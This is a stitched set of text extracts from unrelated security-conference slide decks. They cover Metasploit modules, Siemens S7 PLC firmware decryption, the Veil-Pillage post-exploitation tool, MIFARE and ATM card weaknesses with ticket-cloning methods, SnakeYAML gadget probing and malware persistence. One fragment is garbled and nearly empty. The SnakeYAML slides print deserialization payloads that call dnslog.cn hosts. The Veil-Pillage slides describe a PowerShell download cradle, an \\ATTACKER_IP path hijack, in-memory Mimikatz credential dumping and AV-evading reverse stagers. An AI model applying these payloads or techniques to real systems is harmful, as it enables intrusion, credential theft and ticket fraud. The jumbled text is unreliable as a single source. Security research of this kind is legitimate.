http://pine.fm/LearnToProgram/ • The Little Book of Ruby • Humble Little Book of Ruby • Metasploit Repository Documentation http://r-7.co/iNmOBt Where to Learn Ruby http://r-7.co/iNmOBt 33 Auxiliary Module Basics 34 Auxiliary Module: Code can be simple 35 Using IRB in Metasploit 36 Exploit Written in Python 37 Same Exploit in Metasploit 38 Where to put it… • Official modules live in msf3/modules/ – Subdirectories organized by module type (exploit/, auxiliary/, post/, …) • ~/.msf3/modules/ has same structure, loaded at startup if it exists • ~/.msf3/modules/auxiliary/vsploit is a the • ~/.msf3/modules/auxiliary/vsploit is a the location for vSploit modules 39 Quick demos • vSploit documentation in Rapid7 Community – https://community.rapid7.com vSploit Documentation Questions? @iFail [email protected] Marcus J. Carey @msfbannedit [email protected] David “bannedit” Rude @willis__ <- two underscores [email protected] Will Vandevanter
pdf
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents sOfT7: Revealing the Secrets of the Siemens S7 PLCs Sara Bitan | Alon Dankner Joint work with Professor Eli Biham, Maxim Barsky and Idan Raz Faculty of Computer Science, Technion – Israel Institute of Technology Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Who are we? Founder and CEO of CyCloak: Secure system design and audit Sara Bitan Alon Dankner 2 Senior researcher at the Technion Hiroshi Fujiwara Cyber Security Research Center Advisors: Prof. Eli Biham, Dr. Sara Bitan Security researcher M.Sc. graduate from the Technion Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents PLCs turn rogue… Stuxnet (Anonymous author) • Exploit a vulnerable Siemens Step7 engineering station/ WinCC HMI client • Inject a rogue control program, and tamper with HMI outputs Rogue7: Rogue Engineering-Station attacks on S7 Simatic PLCs (Biham, et al) • A phyton script impersonating an engineering WS • All S7 PLCs from the same model and firmware version share the same key Doors of Durin: The Veiled Gate to Siemens S7 Silicon (Abbasi, et al) • Siemens S7-1200 PLC Bootloader Arbitrary Code Execution • Siemens S7 firmware is using Adonis kernel The Race to Native Code Execution in PLCs (Keren) • Remote arbitrary code execution on Siemens S7-1500 • Exploiting memory protection vulnerability to escape the control program sandbox 3 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents ICS architectures are evolving 4 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Software PLCs Smart Manufacturing • New requirements from PLC vendors • New features: IDEs, new protocols, extensive cloud communication Vendor Requirements • Agility and flexibility • Preserve existing IP and technology • The solution: software PLCs New PLC architecture • Generic functions: GP OS – updatable, flexible→ Standard hardware • Legacy functions : proprietary OS - closed and hardened • Virtualization: isolation and separation 5 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Siemens ET 200SP open controller • The PC-based version of SIMATIC S7- 1500 • Introduced in January 2015 • Combines PLC functionality with a PC- based platform using virtualization • Isolation between Windows and control logic • Supports Windows updates and reboot without interruption to the control logic • The controller continues to work even if Windows crashes • DUT: CPU 1515SP PC2 6 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 7 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The boot process 8 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents • The GRUB configuration file The boot process 9 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Open controller boot sequence BIOS GRUB Boot- loader 1st Stage VMM 2nd Stage VMM SWCPU Windows Embedded 10 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents • Surprisingly, the VMM binary, grub configuration and CPU.elf files are also accessible from Windows • RW by admin The boot process 11 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 12 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Finding the ELF decryption code 13 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 14 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 15 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The “Int 3” debugger 16 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents • Found the decompression/decryption function • Static analysis – very complex • Debugging • Using Int3 debugger • We have the decrypted swcpu in memory • But cannot export it from the PLC, for analysis Intermediary status check 17 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Stealing the vault 18 SUCCESS! We moved the vault to our own powerful attack environment Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents • The VMM is an x86 binary → We run it on standard Linux (Ubuntu) • Challenge: different execution environment • VMM runs in hypervisor mode, we run it in user mode • Siemens proprietary VMM run time library vs. standard CRT • Solution: dynamic binary instrumentation • Start from a specific instruction • Replace VMM functions • Add our code • We used Intel Pin to run the VMM decryption Unlocking the vault 19 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Decryption Loop VMM_print() VMM_alloc() Start of VMM code Decrypt() Load_elf() goto printf() goto malloc() Decompress() Rest of VMM Code goto Write_elf() VMM entry point Decryption entry point PLC binary instrumentation printf() malloc() Call_load_elf() Prepare environment Write_elf() PIN_CallApplicationFunction() main() IMG_AddInstrumentFunction() RIP PLC Binary (VMM 2nd Stage) 20 Our S7 Decryptor Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Environment Input Stack Temp buffer RDI RSI RDX = Sizeof(SWCPU) RCX R8 = 0x1000 R9 = Check_elf() Function pointer RSP A long-enough buffer SWCPU Output buffer 21 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Revealing S7 Siemens PLCs secrets Decryption Loop VMM_print() VMM_alloc() Start of VMM code Decrypt() Load_elf() goto printf() goto malloc() Decompress() Rest of VMM Code goto Write_elf() call VMM_alloc() VMM entry point Decryption entry point VMM binary instrumentation S7 Decryptor printf() malloc() Call_load_elf() Prepare environment Write_elf() PIN_CallApplicationFunction() main() IMG_AddInstrumentFunction() VMM 2nd Stage RIP 1 2 4 5 6 3 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents PLC binary instrumentation Decryption Loop VMM_print() VMM_alloc() Start of VMM code Decrypt() Load_elf() goto printf() goto malloc() Decompress() Rest of VMM Code goto Write_elf() call VMM_alloc() VMM entry point Decryption entry point printf() malloc() Call_load_elf() Prepare environment Write_elf() PIN_CallApplicationFunction() main() IMG_AddInstrumentFunction() 6b9dce3d0a80300c 05e01c2507909a54 041da583ab509c9d aa16fc431df4485e ⋮ c39359757012c16f 08191ebca7ad694d 3781ca72e490160d 0f49822241ee5211 Ciphertext .ELF.... ........ ........ ....4... ⋮ .>8..... 4. ...(. ........ ........ Plaintext ELF Header Program Header Table .adonis_memory_table .data_kernel .bss_kernel ⋮ .text_kernel ⋮ RIP 23 PLC Binary (VMM 2nd Stage) Our S7 Decryptor Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents • Running PLC binary (VMM 2nd stage) on our Ubuntu machine Demo 24 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… Built-in Key 25 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 26 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The Decrypted firmware • Our initial research shows that SWCPU is based on the Adonis Linux • Contains far more than the basic kernel + PLC code: • Stand-alone libc.so • openSSL • tar archive called “winac_bb_soc1” with a MIPS ELF inside • Strings from other S7 Simatic PLCs 27 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… Built-in key 28 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… 29 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents The quest… SECURE BOOT TPM DM CRYPT 30 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Separating the key from the code: prevents decryption with PIN Mitigations SECURE BOOT TPM DM CRYPT Prevents INT3 debugging Prevents static code reversing 31 Prevents Ubuntu booting Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents PLC firmware leakage exposes the full Simatic S7 product line • Via exploitation of known vulnerabilities • The horses may have already left the stable… Recent finding (future publication) • An attacker who gains admin rights on the Windows VM can replace the PLC firmware with his own crafted rogue PLC firmware • We shared the full details with Siemens Customer impact 32 ! ! Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Soft7 Summary Siemens PLC market share (2019) 31% Power plants, water facilities, transportation systems, nuclear reactors Deployment Firmware leakage Exposure to known unpatched vulnerabilities A design flaw No easy solution 33 Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Message to the community • Secure binding to hardware and large-scale key management are tough operational problems • This is challenge to the security & research community • Especially important since ICS architecture currently shifting from walled garden to open and cloud-oriented environments • A solution is crucial!!! Message to the security & research community 34 ! Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Message to customers 35 • You are the assets owners! • You will suffer from the impact! • Demand the security you need from the ICS vendors! • Otherwise, you get “generic” security features that do not fit your full requirements Message to the customers of all ICS vendors ! Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents Thank you! Sara Bitan | Alon Dankner [email protected] | [email protected] 36
pdf
Veil%Pillage:** Post%Exploitation*2.0* Will$$ @harmj0y* Veris$Group$–$Adaptive$Threat$Division$ $*whoami* ▪  Security$researcher$and$pentester/red$teamer$ for$Veris$Group’s$Adaptive$Threat$Division$$ ▪  Co?founder$of$the$Veil?Framework$#avlol$ – www.veil?framework.com$ – Shmoocon'‘14:'AV$Evasion$with$the$Veil$ Framework$ – co?wrote$Veil?Evasion,$wrote$Veil?Catapult,$Veil? PowerView,$and$PowerUp$ $ ▪  Active$Cortana,$Powershell,$and$NovaHacker!$ tl;dr* ▪  The$Veil?Framework$ ▪  Post$Exploitation;$redux$ ▪  Veil?Pillage$ ▪  Current$Module$Overview$ ▪  Hashdumping$and$Plaintext$Creds$ ▪  Demos$ ▪  KB$2871997$(Microsoft$PTH$fix?)$ ▪  Module$Releases$and$Development$ ▪  Recap$ The*Veil%Framework* How$We$Got$Here$ Background* ▪  Started$with$the$May$2013$release$of$ ‘Veil’,$later$renamed$to$‘Veil?Evasion’$ ▪  Utilizes$various$languages$and$ techniques$to$generate$AV?evading$ payloads$ – shellcode$injection$and$’pure’$meterpreter$ stagers$ ▪  Debuted$at$Shmoocon$‘14:$“AV$Evasion, with,the,Veil$Framework”, – https://www.veil?framework.com/$ How*We*Got*Here* ▪  After$dealing$with$AV?evasion,$focus$ moved$to$payload$delivery$ ▪  Wanted$a$way$to$trigger$backdoors$on$ target$boxes$in$a$stealthy$way$ ▪  Released$at$Shmoocon'‘14,$Veil? Catapult$can$upload/host$and$execute$ binaries,$as$well$as$few$other$common$ tricks$ The*Attack*Cycle* Recon$ Enumeration$ Exploitation$ Post? exploitation$ Post%Exploitation;*Redux* Identify$points$that$affect$business$impact$ Datamine$for$Sensitive$Information$ Establish$Persistence$ Acquire$Domain/Network$Administrative$Privileges$ Identify$Further$Exploit$Points$ Escalate$Privileges$ Gain$Situational$Awareness$ Gain$Access$Through$Exploit$ Post%Exploitation;*English* ▪  If$you$have$access$and/or$credentials$for$ one$or$more$machines$on$a$network,$ what$can$you$do?$ ▪  Example:'say$you$have$a$local$ administrator$hash$for$remote$hosts,$ and$want$to$grab$plaintexts$of$other$ logged$on$users$on$those$hosts?$ Post%Exploitation;*Today* ▪  Option'#1:'PSEXEC$to$a$box$with$ Metasploit,$then$getsystem/wdigest$ ▪  Advantages:' – Flexible,$can$utilize$the$entire$Metasploit$ framework$ ▪  Drawbacks:' – service$running$as$SYSTEM$created$ – LOTS$of$non?standard$traffic$$ – “known”$malicious$binary$dropped$to$disk$ Post%Exploitation;*Today* ▪  Option'#2:'use$smbexec$to$upload/ execute$a$wce.exe$binary$ ▪  Advantages:' – Don’t$need$to$establish$a$full$Meterpreter$ session$ – Doesn’t$rely$on$MSF$binary$templates$ ▪  Drawbacks:' – SYSTEM$service$still$created$ – And$another$“known”$malicious$binary$is$ uploaded/executed$ Post%Exploitation;*Today* ▪  Option'#3:'use$the$passing?the?hash$ toolkit$and$PowerSploit$ ▪  Advantages:' – No$service$created!!$ – No$binaries$dropped$to$disk!!$ ▪  Drawbacks:' – Usage$isn’t$the$simplest$ – What$if$you$want$to$do$this$on$a$lot$of$hosts?$ – What$if$powershell$is$disabled,$or$not$ installed?$ * What*We*Want* ▪  Trigger'Options:'with$a$preference$for$ stealth$ ▪  Modularity:'want$it$to$be$easy$to$ implement$new$post?exploitation$ techniques$ – And$want$to$be$able$to$easily$integrate$our$ code/techniques$into$other$tools$ ▪  Completeness:'automation,$ comprehensive$logging,$cleanup,$etc.$ Veil%Pillage* Catapult$2.0$ Veil%Pillage*Primitives* ▪  pthGwmis':'no$service$created$ ▪  pthGwinexe':'runs$as$system,$binary$ dropped$ ▪  ImpacketGsmbexec':'service$created,$but$ no$binaries$dropped$ ▪  Impacket:'smbservers$and$clients$and$more$ ▪  Everything$abstracted$out$to$common$ library$methods$ Veil%Catapult*Integration* Veil%Catapult*Integration* ▪  All$of$Veil?Catapult’s$functionality$has$ been$modularly$integrated$into$Veil? Pillage:$ – payload_delivery/exe_delivery$ – payload_delivery/powershell_injector$ – payload_delivery/python_injector$ – persistence/registry/sticky_keys$ ▪  Veil?Catapult$will$now$be$obsoleted$:($ ▪  Blog$post$on$transitioning$up$soon$ exe_delivery* ▪  Catapult$functionality$ported$to$Pillage$ ▪  Executables$can$be$specified,$or$ generated$with$seemless$Veil?Evasion$ integration$ ▪  .EXEs$are$then$uploaded/triggered,$or$ hosted/triggered$with$a$\\UNC$path$ – This$gets$some$otherwise$disk? detectable$.EXEs$right$by$some$AVs$ python_injector* ▪  Uploads$a$minimal$python$.zip$ installation$and$7zip$binary$ ▪  Python$environment$unzipped,$ shellcode$invoked$using$“?c$…”$$ ▪  The$only$files$that$touch$disk$are$trusted$ python$libraries$and$a$python$interpreter$ Veil?$ Pillage$ Veil$Catapult$ • exe_delivery$ • python_injector$ • powershell_injector$ Primitives$ • pth?wmis$ • pth?winexe$ • Impacket?smbexec$ • Impacket$ Veil%Pillage* New$Features$ powershell_stager* ▪  Last$month,$the$Veil$team$released$ custom?written,$‘pure’$powershell$ meterpreter$stagers$:$ – reverse_tcp/reverse_http/reverse_https$ ▪  These$don’t$utilize$any$shellcode,$and$ work$great$with$the$passing?the?hash$ toolkit$ Output/Cleanup* ▪  Logs$logs$logs$ ▪  Also,$we$want$to$leave$boxes$how$we$ found$them$ – Clients$are$so$picky$:)$ ▪  Why$not$do$all$of$this$in$a$nice$and$ systematic$way$ Random*features* ▪  State$preservation$ – On$exit/rage$quit,$all$options$preserved$ ▪  MSF$database$interaction$ – pull$in$existing$hosts$and$credential$sets$ ▪  Tab?completion,$error?checking,$ complete$command$line$options,$etc.$ External*Integration* ▪  Veil?Pillage$contains$complete$ command$line$flags$for$whatever$you$ can$think$of$ ▪  Makes$it$easy$to$script?up$and$integrate$ Veil?Pillage$into$your$own$code$ $ ▪  see$./VeilGPillage.py'Gh' External*Integration* ▪  Similar$to$Veil?Evasion,$it’s$easy$to$ integrate$Veil?Pillage’s$functionality$as$a$ library$import:$ from$modules.management$import$check_uac$ module$=$check_uac.Module($ $targets=[“192.168.1.100”],$$ $creds=[[“Administrator”,$“password”]])$ module.run()$ print$module.output$ Veil?$ Pillage$ Primitives$ • pth?wmis$ • pth?winexe$ • Impacket?smbexec$ • Impacket$ Veil$Catapult$ • exe_delivery$ • python_injector$ • powershell_injector$ New$Features$ • Powershell$Stagers$ • Logging/cleanup$ • MSF$DB$Integration$ • Modular$structure$ • External$integration$ Veil%Pillage* New$Modules$ enumeration/** ▪  host/credential_validation$ – checks$what$creds$work$on$what$systems$ ▪  domain/user_hunter$ – finds$where$Windows$domain$users$are$ logged$in$on$the$network$ ▪  host/enum_host$ – performs$several$standard$enumeration$ actions$ management/** ▪  check_uac/disable_uac/enable_uac$ – full$user$account$control$management$ ▪  enable_rdp/disable_rdp$ – enables$RDP$and$the$necessary$firewall$rules$ ▪  force_[logoff/reboot/shutdown]$ – needed$to$trigger$some$particular$post? exploitation$effects$ persistence/** ▪  bitsadmin$ – adds$a$nice$background$job$to$download/ execute$an$.exe$backdoor$ ▪  registry/sticky_keys*$ – Sets$the$stickkeys$cmd.exe$trick,$or$uploads$ an$executable$for$to$trigger$ ▪  registry/unc_dll$ – appends$\\ATTACKER_IP;$to$%PATH%,$ allowing$you$to$monitor$for$.dll$hijacking$ opportunies$ powersploit/** ▪  Several$PowerSploit$modules$are$ included$in$Pillage$ ▪  A$web$server$is$stood$up$in$the$ background$ – the$‘IEX$(New?Object$ Net.WebClient).DownloadString(...)’$cradle$is$ transparently$triggered$ ▪  Makes$it$easy$to$run$PowerSploit$across$ multiple$machines$ Veil?$ Pillage$ Veil$Catapult$ • exe_delivery$ • python_injector$ • powershell_injector$ New$Features$ • Powershell$Stagers$ • Logging/cleanup$ • MSF$DB$Integration$ • Modular$structure$ • External$integration$ New$Modules$ • PowerSploit$integration$ • enumeration/*$ • persistence/*$ • management/*$ Primitives$ • pth?wmis$ • pth?winexe$ • Impacket?smbexec$ • Impacket$ Hashes*and* Plaintexts* Getting$the$Goods$ Hashdumping* ▪  There$are$a$diverse$number$of$ways$to$ dump$hashes$on$a$system$ ▪  Traditional:'' –  gsecdump,$credump,$etc.$ –  Registry$backups$w/$reg.exe$ –  Meterpreter$(hashdump/wdigest)$ ▪  New'Hotness:' –  Powerdump.ps1$ –  WCE/Mimikatz$binaries$ –  PowerSploit/Exfiltration/Invoke?Mimikatz.ps1$ Hashdumping* ▪  Different$approaches$work$in$different$ situations$ ▪  Dependent$on$architecture,$Powershell$ installation,$AV?installation,$etc.$ ▪  Some$involve$dropping$well?known,$ close?sourced$tools$to$disk$ In%Memory*Mimikatz* + = <3 In%Memory*Mimikatz* ▪  PowerSploit/Exfiltration/Invoke? Mimikatz.ps1$ ▪  Utilizes$$Joe$"clymb3r"$Bialek’s$prior$ work$in$Invoke?ReflectivePEInjection$to$ inject$an$architecture?appropriate$ Mimikatz$.dll$ ▪  Harnesses$the$power$of$Mimikatz$ without$touching$disk$ * Pillage*Style* ▪  Let’s$aggregate$some$of$the$best$ techniques$and$build$some$logic$in$ $$$$$if$(powershell_installed)$ $ ${$Powerdump/PowerSploit}$ $$$$$else${$$ $determine_arch${$ $ $host/execute$appropriate$binaries$}}$ ▪  Expose$these$techniques$to$the$user$for$ situation?dependent$decisions$ Veil?$ Pillage$ Veil$Catapult$ • exe_delivery$ • python_injector$ • powershell_injector$ New$Features$ • Powershell$Stagers$ • Logging/cleanup$ • MSF$DB$Integration$ • Modular$structure$ • External$integration$ New$Modules$ • PowerSploit$integration$ • enumeration/*$ • persistence/*$ • management/*$ Primitives$ • pth?wmis$ • pth?winexe$ • Impacket?smbexec$ • Impacket$ Hashdumping$ • PowerShell$detection$ • In$memory$hashdump/ Mimikatz$ • Host/execute$binaries$ Demos* KB*2871997* OMG$US$PENTESTERS$ARE$OUT$OF$A$JOB!!$ KB*2871997* ▪  The$“pass?the?hash”$killing$patch,$aka$ the$“Mimikatz$KB”$:)$ ▪  Microsoft$backport$of$Windows$8.1$ protections$that$prevents$ “...network$logon$and$remote$interactive$ logon$to$domain?joined$machine$using$ local$accounts”$ ▪  Sounds$ominous...$ PTH%killer?*lol*:)* KB*2871997*tl;dr** ▪  The$rid?500$Administrator$account$(if$it’s$ enabled)$and$domain$accounts$in$the$ Administrators$localgroup$can$still$PTH$ – This$account$is$often$still$enabled$in$many$ enterprise$environments$ ▪  Powershell$Remoting$still$works$fine$ ▪  Windows$XP/2003$obviously$unaffected$ ▪  Raises$the$bar,$but$PTH$isn’t$going$away$ anytime$soon$ Local*Admin*Enumeration* ▪  With$a$local/unprivileged$domain$account,$ you$can$use$PowerShell$(or$Nmap)$to:$ – find$what$the$local$rid?500$is$renamed$to$and$ whether$it’s$enabled$ – enumerate$what$domain$accounts$have$local$ admin$privileges$on$a$machine$ ▪  Powershell$functions$have$been$integrated$ into$Veil?Powerview$ ▪  More$information:$http://harmj0y.net* Local*Admin*Enumeration* Module*Releases* ▪  Just$like$Veil?Evasion,$lots$of$module$ ideas$ – more$if$people$want$to$contribute$:)$ ▪  Planned$releases$on$the$1st$of$the$month$ ▪  Check$ http://www.veil?framework.com$for$ updates$ Module*Development* ▪  Implement$whatever$post?exploitation$ fun$you$can$think$of$ ▪  Triggering$methods,$file$downloads,$etc.$ are$all$available$as$library$methods$ ▪  Template$included$in$the$tree$and$blog$ post$up$soon$on$developing$your$own$ modules$ Recap* ▪  A$flexible$framework$for$post? exploitation$of$remote$machines$ ▪  Three$separate$ways$of$triggering$ ▪  New$modules$are$easy$to$implement$ with$the$common$library$ ▪  Automation,$full$logging$capabilities,$ cleanup$scripts,$big$UI$focus,$active$ development$ Questions?* ▪  Contact'me:' – @harmj0y* – harmj0y@veil?framework.com$ – harmj0y$in$#veil$on$Freenode$ ▪  Read'more:' – https://www.veil?framework.com$ ▪  Get'the'VeilGFramework:' – https://github.com/Veil?Framework/$
pdf
​ ​ ​ ​ ​ ​ ​ tips 0x00 0x01 string ​ ​ ​ ​ ​ 0x02 0x03 this ​ ​ ​ ​ int (*)(Params const&,std::string&) 0x04 vectormap 0x05
pdf
晶片卡弱點分析 MIFARE, ATM Card & 花博門票 Anderson Ni 倪萬昇 2010/07/01 Agenda  MIFARE 安全漏洞探討  ATM Card與網路ATM安全漏洞探討  台北國際花博覽會門票安全漏洞探討 Sector (64 bytes) Sector (64 bytes) Sector (64 bytes) Introduction of MIFARE  RF ID (ISO 14443-3 Type A with MIFARE,13.56 MHz, Distance 10 cm)  Memory Card (S50 1K bytes, S70 4K bytes) Sector (64 bytes) Block 0 (Data Block, 16 bytes) Block 1 (Data Block, 16 bytes) Block 2 (Data Block, 16 bytes) Block 3 (Key Block, 16 bytes) Sector 0 Sector 1 … Sector 15 Key A(6 bytes) Access Con. Key B(6 bytes) 16 * 64 = 1024 bytes = 1K bytes Weakness I of MIFARE Key Length  Key Length of MIFARE Key A/B is 48 bits  Key length of Triple DES is 112 or 168 bits and key length of AES is 128 , 192 or 256 bits  Key won’t lock even if key authentication failed too many times! Brute Force Attack!!!!! (圖片來自於網路) => By the thesis, we can use 100 reader at the same time to get 1 key in 2 weeks… Weakness II of MIFARE Random Number Generator  The Random Number Generator is designed by LFSR-32 bits…  But… the seed is decided by the value of timer… and the timer will start to count from power on…  If We can control the timing… we can control the random number! Weakness III of MIFARE Crypto 1 Algorithm LFSR 48 Table + + + LFSR 16 expend to 32 bit Key Stream Ntag Ntag Tag UID NR Key A/B Three Pass Authentication TAG Reader Auth Block (Key A / B) Ntag Nr ^ KS1, Suc2(Ntag) ^ KS2 Suc3(Ntag) ^ KS3 Anti-Collision & Select Card (UID) MIFARE Against from Weakness  防偽驗證碼 (by DES or Triple-DES)  黑名單機制與卡片鎖卡旗標  除特定消費方式,大部分交通應用或小額 消費均有攝影機… Introduction of ATM Card  Personal Data (Account, Bank ID.. etc)  User PIN  Authentication Keys between Bank and Card  Supporting DES, Triple-DES and TAC algorithm  Secured Hardware with EAL 4+ Transaction of ATM Card ATM Card Server of Bank Verify PIN Response Select File and Get Data Response Generate TAC TAC Response Account Transfer Weakless : PIN明碼傳輸 Weakless : Verify PIN後可 產生多次TAC Weakless : 中心無提 供必要資訊給ATM Card 作為產生 TAC 用 Transaction of ATM Card ATM Card Server of Bank Verify PIN Response Select File and Get Data Response Generate TAC (with Server Data) TAC Response Account Transfer Transaction number, Random Number, Unix Time Transaction Request 交易資訊部分由Server決定, 除了隨機性且具有唯一性!! Middle-Man-Attack on ATM Card ATM Card Server of Bank User Hacker SSL to protect the data transfer… But Hacker uses Middle-Man-Attack… 1.Transaction on PC screen is Data A 2. Web ATM will send Data A to ATM card, but the Troja will change the Data A to B 3. ATM Card will generate the TAC of Data B… 4.Web ATM send Data A | TAC B 5. Browser send Data B | TAC B Troja to attack ATM Card and Web ATM 轉帳成功!!!!!!!! Conclusion of Web ATM and ATM Card 不要使用網路ATM… 2010台北國際花博門票介紹  一日票, 三日票, Easy Card and CHT NFC  一日,三日票使用MIFARE Ultra Light  Memory Card (64 bytes only)  無金鑰區塊 MIFARE Ultra Light (64 Data bytes only) Data Bank (48 bytes) Data Bank Flag + OTP Data UID(7 bytes) Example 1 of 花博門票 MIFARE Ultra Light (64 Data bytes only) UID 1474B85B02CB1B8052 OTP Flag 480000 OTP Data 6C72DBD0 578EC8870000000000000C080000F303 00000000000001020801100000000001 FD3A00000000000000000000F181B21A Example 2 of 花博門票 MIFARE Ultra Light (64 Data bytes only) UID 04845481E2AD1B80D4 OTP Flag 480000 OTP Data 490ECB35 934492FB0000000000000C080000F303 00000000000001020801100000000001 FD3A00000000000000000000F1CE2D3A Attacking of 花博門票 - Clone  Clone Card – 事先購買團體票後,進行卡 片所有資料之Clone… 並且偽造相同資料 之卡片,即可有兩張同資料之卡片可供使 用 (若無黑名單機制,Clone之卡可無限進行 重置繼續使用) Attacking of 花博門票- Change  修改卡片內容 – 將卡片內註記為一日或 三日卡的部份修改為3日  若進場後,註記進場時間,但未註記出場時 間或未將OTP flag關閉,可將本資料清除 或將原始卡片資料寫入,又是一張未使用 的卡  其他 Thank You!! Q & A
pdf
@Y4tacker SnakeYAML实现Gadget探测 思路来源 今天在学习SnakeYAML的反序列化的时候,想到⼀个新的探测payload,⽹上之前有⼀个SPI 那个链⼦可以有通过URLClassloader检测 这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调⽤hashCode⽅法因此 会触发DNS解析, 因此通过构造URL对象后⾯简单加个: 1让他成为⼀个mapping ,不过会触发多次 String poc = "!!java.net.URL [null, \"[http://osrwbf.dnslog.cn] (http://osrwbf.dnslog.cn/)\"]: 1"; 实现探测Gadget 不完美的构造 这⾥再补充个探测gadget思路::在刚刚的思路上实现了探测gadget,如果string存在才会接着 触发URLDNS,不存在就不会 当然上⾯的payload又遇到了问题,如果对象的构造⽅法私有化就不⾏,为什么呢看下⽂ 更完善的⽅案 解决⽅案是 String poc = "key: [!!java.lang.String []: 0, !!java.net.URL [null, \" [http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]"; String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \" [http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]"; 这个与上⾯的区别不⼀样在于探测的类后⾯[]或{}对应的分别是ConstructSequence与 ConstructMapping,光这样说还是不够清楚,就详细来说,可以看 到 org.yaml.snakeyaml.constructor.Constructor.ConstructSequence#construc t 的处理逻辑如下,我们只看最关键的地⽅ 可以看到这⾥获取构造函数调⽤的是 node.getType().getConstructors() ,也就是只会 获得公有的构造函数,因此会出错 如果换成了 {} 则会调 ⽤ org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct 这⾥⾸先调⽤ createEmptyJavaBean 实例化对象,可以看到这⾥是getDeclaredConstructor就 算是私有也Ok 那么你会好奇如果我想要调⽤带参数的构造函数怎么办,那肯定不⾏,那SnakeYAML如何处 理的呢也就是后⾯调⽤了, constructJavaBean2ndStep ,与本⽂探测问题⽆关,简单来 说其实就是在while循环⾥不断通过反射设置值 总结 有时候细节也确实很重要,昨晚匆匆忙忙却忽略了很多细节,说起来也是惭愧 protected Object createEmptyJavaBean(MappingNode node) { try { java.lang.reflect.Constructor<?> c = node.getType().getDeclaredConstructor(); c.setAccessible(true); return c.newInstance(); } catch (Exception var3) { throw new YAMLException(var3); } }
pdf
Module 2 Typical goals of malware and their implementations https://github.com/hasherezade/malware_training_vol1 Persistence Basics of Persistence • WHO? • Most of the malware needs it (except some ransomware) • WHY? •To start the application after each reboot • HOW? •Using legitimate persistence methods •Using custom, creative methods.... Basics of Persistence Windows offers various legitimate persistence ways – let’s recall them... Basics of Persistence • Registry keys, i.e.: • HKCU\Software\Microsoft\Windows\CurrentVersion\Run • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run • The most commonly used technique (also by malware)... https://support.microsoft.com/pl-pl/help/179365/info-run,-runonce,-runservices,-runservicesonce-and-startup Basics of Persistence: Startup link • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup Basics of Persistence: Scheduled task • Task scheduler view •Task scheduler view: Basics of Persistence: System Services UAC Bypass required Basics of Persistence: System Services • Administrator rights required • Creating a service: UAC Bypass required sc create <service_name> binPath= <service_path> DisplayName= <service_display_name> start= auto Basics of Persistence: System Services • Related registry keys: • HKLM\SYSTEM\ControlSet001\services\<service name> • HKLM\SYSTEM\ControlSet002\services\<service name> • HKLM\SYSTEM\CurrentControlSet\services\<service name> UAC Bypass required Basics of Persistence: System Services • Regedit view: UAC Bypass required Hunting for malware persistence artifacts SysIntenals’ Autoruns https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns RegShot • RegShot allows for monitoring changes in the Windows Registry https://sourceforge.net/projects/regshot Hiding Persistence Hiding Persistence - ideas • Typical methods, but with extra measures to cover/protect • Abuse of other mechanisms of the system for automated injection, i.e.: • AppInit_DLL, COM Hijacking, Shims, MS Application Verifier Provider ("DoubleAgent” technique), etc • User-triggered persistence – hide in other elements, that are likely to be clicked/deployed by a user Typical methods + extra measures • Last minute persistance (i.e. Dridex v. 3) • Make sample inaccessible: ADS, special 